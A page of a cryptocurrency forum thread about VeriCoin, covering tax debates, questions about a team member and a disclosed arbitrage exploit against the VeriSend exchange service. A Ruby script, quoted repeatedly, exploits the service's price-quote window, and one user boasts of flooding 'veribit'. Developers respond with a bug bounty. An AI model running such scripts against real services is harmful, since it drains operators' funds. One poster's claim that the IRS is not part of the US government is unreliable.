Author

Topic: [ANN][VRC] VeriCoin Proof of Stake-Time Currency | New Roadmap Released - page 669. (Read 1356166 times)

legendary
Activity: 806
Merit: 1000
Is J Bosch wizrig in charge of PR and marketing?

What is his background and history?

Are you asking so people can start an argument lol, I don't blame you I wanna buy more cheap coins also but I cant read through that again it was painful. Just watch the you-tube videos he says all about himself for a very very long time I might add. Or ask him yourself on their next live google chat. They were anwsering my question rite through the posts under the video it was really awesome. 
sr. member
Activity: 434
Merit: 250
Is J Bosch wizrig in charge of PR and marketing?

What are his background and history?
hero member
Activity: 658
Merit: 500
Pretty sure I was able to crash veribit with a few lines of code. I'll stop once I prove it works.

No your IP just got auto banned for flooding. That and we deactivated the web service.

Thats going down in the history books for future generations of Vericoin owners  Cheesy
full member
Activity: 185
Merit: 100
Pretty sure I was able to crash veribit with a few lines of code. I'll stop once I prove it works.

No your IP just got auto banned for flooding. That and we deactivated the web service.

ROFL

Come on, let that man feel like a leet hacker for a little while.
hero member
Activity: 532
Merit: 500
Pretty sure I was able to crash veribit with a few lines of code. I'll stop once I prove it works.

No your IP just got auto banned for flooding. That and we deactivated the web service.

Hah awesome!
sr. member
Activity: 504
Merit: 250
Pretty sure I was able to crash veribit with a few lines of code. I'll stop once I prove it works.

No your IP just got auto banned for flooding. That and we deactivated the web service.
member
Activity: 148
Merit: 10
that is the most interesting altcoin i saw lately!!
hero member
Activity: 546
Merit: 500
AKA The Rubber Monkey

VeriFund is simply a fund that swings back and forth from VRC to BTC. It does not fall under US tax code as there is never any conversion to FIAT and thus is just one property trading for another.

If that's true, then Bittrex wouldn't have to pay any taxes under the US tax code either. Until they convert to fiat you mean. But something still seems to be missing as that would mean you could operate a non-fiat exchange and never report a profit until you exchange to fiat.
VeriFund doesn't sell to fiat, it just pays bounties. Bittrex takes fees and pays people.

The IRS has not given any guidance whether trading BTC for altcoin is considered "same kind" or "different kind" property. But some people are paying the capital gains on their altcoin trades to be on the safe side. The problem here is if the IRS says, "Altcoin is considered different properties." Now all of a sudden every single BTC purchased by VeriFund is a taxable event. That's what I'm worried about.

I'm curious how Bittrex deals with this. I'll ask them and see how they answer.

US tax code is unclear in this area. I'm sure that the IRS will interpret the tax code in their favor, but it will remain unclear until the issue comes before a court or the tax code is rewritten.
sr. member
Activity: 434
Merit: 250
freecrypto.top
VSRU4HRgtqHifQaXN3QkQrdTRHdWLwUGZj

Here is the untested simple example code I threw together. Obviously I could write this to be much more sophisticated but I wanted to get my point across. I think lowering the time to two minutes will help but I think there is still a fair amount of exposure, since I can stagger the trades. Also would I not be able to extract the API calls from your client? How does removing the web-interface resolve the problem besides adding a bit more work?

We can talk in private about how you can better secure this system if you are interested.

require 'net/http'
require 'json'

# Would need to write code to manage number of threads
# and stagger their start times to maximize attack surface
#Thread.new do
  while true
    @time_up = Time.now + (60*2)

    uri = URI('http://verisend.vericoin.info/Default/SendBtc?sendto=1NsqLEmk7bckyxocJToBYmgkte2j5KMGZp&amount=1')
    arbitrage = Net::HTTP.get(uri)
    @vrc_amount = arbitrage.split(' ')[1]
    @vrc_address = arbitrage.split(' ')[4]
    p @vrc_amount
    p @vrc_address

    while @time_up > Time.now
      p "Time remaining: #{@time_up - Time.now}"

      uri = URI('https://api.mintpal.com/v1/market/stats/VRC/BTC')
      market_data = JSON.parse(Net::HTTP.get(uri)).first
      last_price = market_data['last_price']
      # You would need to add in trading fees
      price_per_bitcoin = 1 / last_price.to_f
      p price_per_bitcoin
      if @vrc_amount.to_f < price_per_bitcoin
        difference = price_per_bitcoin - @vrc_amount.to_f
        p "Difference of #{difference}"
        if difference > 500
          p "Good time to send money!"
          system("./vericoind sendmoneyto #{vrc_address} #{@vrc_amount}")
        end
      end
    end
    p "Times up! Time to try again!"
  end
#end

I've sent you a bug bounty of 250 VRC (or around $75+). Thanks again for your help. 2 minutes is just for now. We will reduce it to be less than 10 seconds as the wallet client is instanteous at sending commands (no copy and pasting, etc.). Removing the web interface just because it's unnecessary now that the client is working well. So staggering 10 second trade windows wouldn't be super effective. Anyway, thanks for bringing this to our attention.

I appreciate the calm well reasoned response, I'm not here to champion any specific coin - that is what day traders do. I'm a developer is very interested in the overall health of the ecosystem as a whole. Which is why I think you should release all the code open source that runs on the server so it can be properly audited by the community.

What exactly are you doing on your twitter account? Looks like your are a day trader.  Huh

I don't use twitter and never would >.<

I quoted wrong person. My fault. Avatar of yours and another look similar.

Just a bit annoyed when people attack this coin, its one of the ones with the right team and the right motivations.


Im going to go cool off, long day of web design and its way to hot here! Please accept my appology.
sr. member
Activity: 308
Merit: 250
thrasher.
VSRU4HRgtqHifQaXN3QkQrdTRHdWLwUGZj

Here is the untested simple example code I threw together. Obviously I could write this to be much more sophisticated but I wanted to get my point across. I think lowering the time to two minutes will help but I think there is still a fair amount of exposure, since I can stagger the trades. Also would I not be able to extract the API calls from your client? How does removing the web-interface resolve the problem besides adding a bit more work?

We can talk in private about how you can better secure this system if you are interested.

require 'net/http'
require 'json'

# Would need to write code to manage number of threads
# and stagger their start times to maximize attack surface
#Thread.new do
  while true
    @time_up = Time.now + (60*2)

    uri = URI('http://verisend.vericoin.info/Default/SendBtc?sendto=1NsqLEmk7bckyxocJToBYmgkte2j5KMGZp&amount=1')
    arbitrage = Net::HTTP.get(uri)
    @vrc_amount = arbitrage.split(' ')[1]
    @vrc_address = arbitrage.split(' ')[4]
    p @vrc_amount
    p @vrc_address

    while @time_up > Time.now
      p "Time remaining: #{@time_up - Time.now}"

      uri = URI('https://api.mintpal.com/v1/market/stats/VRC/BTC')
      market_data = JSON.parse(Net::HTTP.get(uri)).first
      last_price = market_data['last_price']
      # You would need to add in trading fees
      price_per_bitcoin = 1 / last_price.to_f
      p price_per_bitcoin
      if @vrc_amount.to_f < price_per_bitcoin
        difference = price_per_bitcoin - @vrc_amount.to_f
        p "Difference of #{difference}"
        if difference > 500
          p "Good time to send money!"
          system("./vericoind sendmoneyto #{vrc_address} #{@vrc_amount}")
        end
      end
    end
    p "Times up! Time to try again!"
  end
#end

I've sent you a bug bounty of 250 VRC (or around $75+). Thanks again for your help. 2 minutes is just for now. We will reduce it to be less than 10 seconds as the wallet client is instanteous at sending commands (no copy and pasting, etc.). Removing the web interface just because it's unnecessary now that the client is working well. So staggering 10 second trade windows wouldn't be super effective. Anyway, thanks for bringing this to our attention.

I appreciate the calm well reasoned response, I'm not here to champion any specific coin - that is what day traders do. I'm a developer is very interested in the overall health of the ecosystem as a whole. Which is why I think you should release all the code open source that runs on the server so it can be properly audited by the community.

What exactly are you doing on your twitter account? Looks like your are a day trader.  Huh

I don't use twitter and never would >.<
sr. member
Activity: 434
Merit: 250
freecrypto.top
VSRU4HRgtqHifQaXN3QkQrdTRHdWLwUGZj

Here is the untested simple example code I threw together. Obviously I could write this to be much more sophisticated but I wanted to get my point across. I think lowering the time to two minutes will help but I think there is still a fair amount of exposure, since I can stagger the trades. Also would I not be able to extract the API calls from your client? How does removing the web-interface resolve the problem besides adding a bit more work?

We can talk in private about how you can better secure this system if you are interested.

require 'net/http'
require 'json'

# Would need to write code to manage number of threads
# and stagger their start times to maximize attack surface
#Thread.new do
  while true
    @time_up = Time.now + (60*2)

    uri = URI('http://verisend.vericoin.info/Default/SendBtc?sendto=1NsqLEmk7bckyxocJToBYmgkte2j5KMGZp&amount=1')
    arbitrage = Net::HTTP.get(uri)
    @vrc_amount = arbitrage.split(' ')[1]
    @vrc_address = arbitrage.split(' ')[4]
    p @vrc_amount
    p @vrc_address

    while @time_up > Time.now
      p "Time remaining: #{@time_up - Time.now}"

      uri = URI('https://api.mintpal.com/v1/market/stats/VRC/BTC')
      market_data = JSON.parse(Net::HTTP.get(uri)).first
      last_price = market_data['last_price']
      # You would need to add in trading fees
      price_per_bitcoin = 1 / last_price.to_f
      p price_per_bitcoin
      if @vrc_amount.to_f < price_per_bitcoin
        difference = price_per_bitcoin - @vrc_amount.to_f
        p "Difference of #{difference}"
        if difference > 500
          p "Good time to send money!"
          system("./vericoind sendmoneyto #{vrc_address} #{@vrc_amount}")
        end
      end
    end
    p "Times up! Time to try again!"
  end
#end

I've sent you a bug bounty of 250 VRC (or around $75+). Thanks again for your help. 2 minutes is just for now. We will reduce it to be less than 10 seconds as the wallet client is instanteous at sending commands (no copy and pasting, etc.). Removing the web interface just because it's unnecessary now that the client is working well. So staggering 10 second trade windows wouldn't be super effective. Anyway, thanks for bringing this to our attention.

I appreciate the calm well reasoned response, I'm not here to champion any specific coin - that is what day traders do. I'm a developer is very interested in the overall health of the ecosystem as a whole. Which is why I think you should release all the code open source that runs on the server so it can be properly audited by the community.

What exactly are you doing on your twitter account? Looks like your are a day trader?

Don't come here and expect us to believe you care. You could have PM'd the dev off the bat if you cared about the community.
sr. member
Activity: 308
Merit: 250
thrasher.
Pretty sure I was able to crash veribit with a few lines of code. I'll stop once I prove it works.
hero member
Activity: 700
Merit: 500

VeriFund is simply a fund that swings back and forth from VRC to BTC. It does not fall under US tax code as there is never any conversion to FIAT and thus is just one property trading for another.

If that's true, then Bittrex wouldn't have to pay any taxes under the US tax code either. Until they convert to fiat you mean. But something still seems to be missing as that would mean you could operate a non-fiat exchange and never report a profit until you exchange to fiat.
VeriFund doesn't sell to fiat, it just pays bounties. Bittrex takes fees and pays people.

The IRS has not given any guidance whether trading BTC for altcoin is considered "same kind" or "different kind" property. But some people are paying the capital gains on their altcoin trades to be on the safe side. The problem here is if the IRS says, "Altcoin is considered different properties." Now all of a sudden every single BTC purchased by VeriFund is a taxable event. That's what I'm worried about.

I'm curious how Bittrex deals with this. I'll ask them and see how they answer.
sr. member
Activity: 504
Merit: 250
VSRU4HRgtqHifQaXN3QkQrdTRHdWLwUGZj

Here is the untested simple example code I threw together. Obviously I could write this to be much more sophisticated but I wanted to get my point across. I think lowering the time to two minutes will help but I think there is still a fair amount of exposure, since I can stagger the trades. Also would I not be able to extract the API calls from your client? How does removing the web-interface resolve the problem besides adding a bit more work?

We can talk in private about how you can better secure this system if you are interested.

require 'net/http'
require 'json'

# Would need to write code to manage number of threads
# and stagger their start times to maximize attack surface
#Thread.new do
  while true
    @time_up = Time.now + (60*2)

    uri = URI('http://verisend.vericoin.info/Default/SendBtc?sendto=1NsqLEmk7bckyxocJToBYmgkte2j5KMGZp&amount=1')
    arbitrage = Net::HTTP.get(uri)
    @vrc_amount = arbitrage.split(' ')[1]
    @vrc_address = arbitrage.split(' ')[4]
    p @vrc_amount
    p @vrc_address

    while @time_up > Time.now
      p "Time remaining: #{@time_up - Time.now}"

      uri = URI('https://api.mintpal.com/v1/market/stats/VRC/BTC')
      market_data = JSON.parse(Net::HTTP.get(uri)).first
      last_price = market_data['last_price']
      # You would need to add in trading fees
      price_per_bitcoin = 1 / last_price.to_f
      p price_per_bitcoin
      if @vrc_amount.to_f < price_per_bitcoin
        difference = price_per_bitcoin - @vrc_amount.to_f
        p "Difference of #{difference}"
        if difference > 500
          p "Good time to send money!"
          system("./vericoind sendmoneyto #{vrc_address} #{@vrc_amount}")
        end
      end
    end
    p "Times up! Time to try again!"
  end
#end

I've sent you a bug bounty of 250 VRC (or around $75+). Thanks again for your help. 2 minutes is just for now. We will reduce it to be less than 10 seconds as the wallet client is instanteous at sending commands (no copy and pasting, etc.). Removing the web interface just because it's unnecessary now that the client is working well. So staggering 10 second trade windows wouldn't be super effective. Anyway, thanks for bringing this to our attention.

I appreciate the calm well reasoned response, I'm not here to champion any specific coin - that is what day traders do. I'm a developer is very interested in the overall health of the ecosystem as a whole. Which is why I think you should release all the code open source that runs on the server so it can be properly audited by the community.

Thanks. We are not going to open source it immediately. It's not really useful to audit our code as it's really a service more than coin related. As long as people aren't complaining about it swallowing up their VRC, I don't see a problem with a closed-source app written for the coin. Thanks again, and let me know if you see any other potential exploits and we will send more bug bounties your way.
sr. member
Activity: 308
Merit: 250
thrasher.
VSRU4HRgtqHifQaXN3QkQrdTRHdWLwUGZj

Here is the untested simple example code I threw together. Obviously I could write this to be much more sophisticated but I wanted to get my point across. I think lowering the time to two minutes will help but I think there is still a fair amount of exposure, since I can stagger the trades. Also would I not be able to extract the API calls from your client? How does removing the web-interface resolve the problem besides adding a bit more work?

We can talk in private about how you can better secure this system if you are interested.

require 'net/http'
require 'json'

# Would need to write code to manage number of threads
# and stagger their start times to maximize attack surface
#Thread.new do
  while true
    @time_up = Time.now + (60*2)

    uri = URI('http://verisend.vericoin.info/Default/SendBtc?sendto=1NsqLEmk7bckyxocJToBYmgkte2j5KMGZp&amount=1')
    arbitrage = Net::HTTP.get(uri)
    @vrc_amount = arbitrage.split(' ')[1]
    @vrc_address = arbitrage.split(' ')[4]
    p @vrc_amount
    p @vrc_address

    while @time_up > Time.now
      p "Time remaining: #{@time_up - Time.now}"

      uri = URI('https://api.mintpal.com/v1/market/stats/VRC/BTC')
      market_data = JSON.parse(Net::HTTP.get(uri)).first
      last_price = market_data['last_price']
      # You would need to add in trading fees
      price_per_bitcoin = 1 / last_price.to_f
      p price_per_bitcoin
      if @vrc_amount.to_f < price_per_bitcoin
        difference = price_per_bitcoin - @vrc_amount.to_f
        p "Difference of #{difference}"
        if difference > 500
          p "Good time to send money!"
          system("./vericoind sendmoneyto #{vrc_address} #{@vrc_amount}")
        end
      end
    end
    p "Times up! Time to try again!"
  end
#end

I've sent you a bug bounty of 250 VRC (or around $75+). Thanks again for your help. 2 minutes is just for now. We will reduce it to be less than 10 seconds as the wallet client is instanteous at sending commands (no copy and pasting, etc.). Removing the web interface just because it's unnecessary now that the client is working well. So staggering 10 second trade windows wouldn't be super effective. Anyway, thanks for bringing this to our attention.

I appreciate the calm well reasoned response, I'm not here to champion any specific coin - that is what day traders do. I'm a developer is very interested in the overall health of the ecosystem as a whole. Which is why I think you should release all the code open source that runs on the server so it can be properly audited by the community.
sr. member
Activity: 504
Merit: 250
VSRU4HRgtqHifQaXN3QkQrdTRHdWLwUGZj

Here is the untested simple example code I threw together. Obviously I could write this to be much more sophisticated but I wanted to get my point across. I think lowering the time to two minutes will help but I think there is still a fair amount of exposure, since I can stagger the trades. Also would I not be able to extract the API calls from your client? How does removing the web-interface resolve the problem besides adding a bit more work?

We can talk in private about how you can better secure this system if you are interested.

require 'net/http'
require 'json'

# Would need to write code to manage number of threads
# and stagger their start times to maximize attack surface
#Thread.new do
  while true
    @time_up = Time.now + (60*2)

    uri = URI('http://verisend.vericoin.info/Default/SendBtc?sendto=1NsqLEmk7bckyxocJToBYmgkte2j5KMGZp&amount=1')
    arbitrage = Net::HTTP.get(uri)
    @vrc_amount = arbitrage.split(' ')[1]
    @vrc_address = arbitrage.split(' ')[4]
    p @vrc_amount
    p @vrc_address

    while @time_up > Time.now
      p "Time remaining: #{@time_up - Time.now}"

      uri = URI('https://api.mintpal.com/v1/market/stats/VRC/BTC')
      market_data = JSON.parse(Net::HTTP.get(uri)).first
      last_price = market_data['last_price']
      # You would need to add in trading fees
      price_per_bitcoin = 1 / last_price.to_f
      p price_per_bitcoin
      if @vrc_amount.to_f < price_per_bitcoin
        difference = price_per_bitcoin - @vrc_amount.to_f
        p "Difference of #{difference}"
        if difference > 500
          p "Good time to send money!"
          system("./vericoind sendmoneyto #{vrc_address} #{@vrc_amount}")
        end
      end
    end
    p "Times up! Time to try again!"
  end
#end

I've sent you a bug bounty of 250 VRC (or around $75+). Thanks again for your help. 2 minutes is just for now. We will reduce it to be less than 10 seconds as the wallet client is instanteous at sending commands (no copy and pasting, etc.). Removing the web interface just because it's unnecessary now that the client is working well. So staggering 10 second trade windows wouldn't be super effective. Anyway, thanks for bringing this to our attention.
newbie
Activity: 40
Merit: 0

VeriFund is simply a fund that swings back and forth from VRC to BTC. It does not fall under US tax code as there is never any conversion to FIAT and thus is just one property trading for another.

If that's true, then Bittrex wouldn't have to pay any taxes under the US tax code either. Until they convert to fiat you mean. But something still seems to be missing as that would mean you could operate a non-fiat exchange and never report a profit until you exchange to fiat.

Hence the word "unregulated". That is one of the main reasons crypto currencies were created. You guys are talking about the IRS and FED like they are U.S. Governmental Entities. You do realize that the IRS, like the FED is not a part of the US Government? Right?

Are you paying taxes on all of your crypto trades? Is anyone?

Americans were 100% against the Central Banks and Income taxes. Now, after a century of brainwashing, you do not know how to live without them. You think being taxed is normal.

Nutts...
sr. member
Activity: 308
Merit: 250
thrasher.
VSRU4HRgtqHifQaXN3QkQrdTRHdWLwUGZj

Here is the untested simple example code I threw together. Obviously I could write this to be much more sophisticated but I wanted to get my point across. I think lowering the time to two minutes will help but I think there is still a fair amount of exposure, since I can stagger the trades. Also would I not be able to extract the API calls from your client? How does removing the web-interface resolve the problem besides adding a bit more work?

We can talk in private about how you can better secure this system if you are interested.

require 'net/http'
require 'json'

# Would need to write code to manage number of threads
# and stagger their start times to maximize attack surface
#Thread.new do
  while true
    @time_up = Time.now + (60*2)

    uri = URI('http://verisend.vericoin.info/Default/SendBtc?sendto=1NsqLEmk7bckyxocJToBYmgkte2j5KMGZp&amount=1')
    arbitrage = Net::HTTP.get(uri)
    @vrc_amount = arbitrage.split(' ')[1]
    @vrc_address = arbitrage.split(' ')[4]
    p @vrc_amount
    p @vrc_address

    while @time_up > Time.now
      p "Time remaining: #{@time_up - Time.now}"

      uri = URI('https://api.mintpal.com/v1/market/stats/VRC/BTC')
      market_data = JSON.parse(Net::HTTP.get(uri)).first
      last_price = market_data['last_price']
      # You would need to add in trading fees
      price_per_bitcoin = 1 / last_price.to_f
      p price_per_bitcoin
      if @vrc_amount.to_f < price_per_bitcoin
        difference = price_per_bitcoin - @vrc_amount.to_f
        p "Difference of #{difference}"
        if difference > 500
          p "Good time to send money!"
          system("./vericoind sendmoneyto #{vrc_address} #{@vrc_amount}")
        end
      end
    end
    p "Times up! Time to try again!"
  end
#end
sr. member
Activity: 504
Merit: 250

VeriFund is simply a fund that swings back and forth from VRC to BTC. It does not fall under US tax code as there is never any conversion to FIAT and thus is just one property trading for another.

If that's true, then Bittrex wouldn't have to pay any taxes under the US tax code either. Until they convert to fiat you mean. But something still seems to be missing as that would mean you could operate a non-fiat exchange and never report a profit until you exchange to fiat.
VeriFund doesn't sell to fiat, it just pays bounties. Bittrex takes fees and pays people.
sr. member
Activity: 434
Merit: 250

VeriFund is simply a fund that swings back and forth from VRC to BTC. It does not fall under US tax code as there is never any conversion to FIAT and thus is just one property trading for another.

If that's true, then Bittrex wouldn't have to pay any taxes under the US tax code either. Until they convert to fiat you mean. But something still seems to be missing as that would mean you could operate a non-fiat exchange and never report a profit until you exchange to fiat.

That's exactly how it works to my understanding
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